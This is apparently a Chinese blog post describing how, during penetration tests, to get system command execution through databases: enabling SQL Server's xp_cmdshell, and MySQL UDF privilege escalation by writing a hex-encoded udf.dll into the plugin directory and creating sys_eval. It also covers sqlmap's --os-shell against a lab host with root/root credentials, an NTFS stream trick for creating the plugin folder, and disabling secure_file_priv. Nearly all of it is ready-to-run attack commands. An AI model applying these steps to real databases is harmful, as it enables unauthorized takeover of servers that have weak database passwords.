数据库系统命令执行

作者: Tide_诺言 | 来源:发表于2019-08-02 12:48 被阅读59次

    前言

    在渗透中关于数据库的利用主要分为两种:
    第一种是sql注入漏洞,配合网站的绝对路径可以直接getshell。
    第二种数据库弱口令,如phpmyadmin弱口令,数据库连接弱口令。
    在我最初的时候,对于数据库弱口令和sql注入的利用相同,都是在dba权限下,配合网站绝对路径写shell。因为并不是每次都能找到绝对路径,所以经常出现登录了数据库却拿不到shell的情况。

    sql server执行系统命令

    sql server执行系统命令比较简单,直接使用xp_cmdshell组件
    开启cmdshell组件。

    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'xp_cmdshell',1;reconfigure;
    

    执行命令

    exec master.dbo.xp_cmdshell ‘whoami’;
    

    这也就是为什么sql server注入点在使用sqlmap进行os-shell时,直接返回命令行执行。

    mysql执行系统命令

    mysql执行系统命令适用于直接连接数据库的情况下,理论上讲sqlmap的sql-shell也可行,但是在实际利用中对SQL注入点的类型,执行语句,语句长度都有很大的限制。
    本次靶机ip:172.16.86.161 root/root
    思路:采用udf提权方式,上传udf.dll文件。
    首选需要确定mysql的版本号,以及安装目录。

    select @@version;       查看mysql版本
    
    select @@basedir;       查看mysql安装路径
    

    udf.dll存放位置分为2种情况。
    1、Mysql版本大于5.1
    udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。
    2、Mysql版本小于5.1:
    win 2000 的服务器,需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。
    win2003 服务器,要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。
    靶机的mysql版本号为 5.5.62大于5.1因此要把udf.dll文件放在MySQL安装目录的lib\plugin文件夹下。
    sqlmap中自带了udf.dll文件,放在data/udf中,文件经过异或编码无法直接使用,可以使用sqlmap/extra/cloak目录下的cloak.py文件进行解码。


    在准备好udf.dll文件后,下一步的目标是写入文件到指定的目录下,我实验了3种写入方法。

    into outfile直接写入

    使用notepad++打开udf文件。



    复制内容进行16进制编码。



    在数据库中执行:
    select 16进制编码 into outfile 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
    

    创建sys_eval

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
    

    成功获取system执行权限。

    select sys_eval('');
    

    表内容导出写入

    建立表保存16进制内容。

    set @my_udf=concat('',dll的16进制);
    create table udf_data(data LONGBLOB);
    

    将my_udf的内容插入表udf_data中。

    insert into udf_data values("");update udf_data set data = @my_udf;
    

    将内容导出到文件。

    select data from udf_data into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';
    

    创建sys_eval,成功执行系统命令。

    create function sys_eval returns string soname 'udf.dll';
    select sys_eval('whoami');
    

    删除

    drop function sys_eval;
    

    sqlmap写入

    sqlmap自带了udf功能。

    sqlmap.py -d "mysql://root:root@172.16.86.161:3306/mysql" --os-shell
    

    直接os-shell执行系统命令。


    坑点

    1、mysql lib目录下的plugin文件夹在实战中可能不存在。需要自己手动创建,可以使用NTFS数据流创建,但成功率低。

    select 'test' into dumpfile 'D:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
    

    2 、高版本的mysql会有一个secure-file-priv参数限制,需要更改my.ini文件配置,并且重启数据库。

    secure_file_priv=""
    

    相关文章

      网友评论

        本文标题:数据库系统命令执行

        本文链接:https://www.haomeiwen.com/subject/zgbqsqtx.html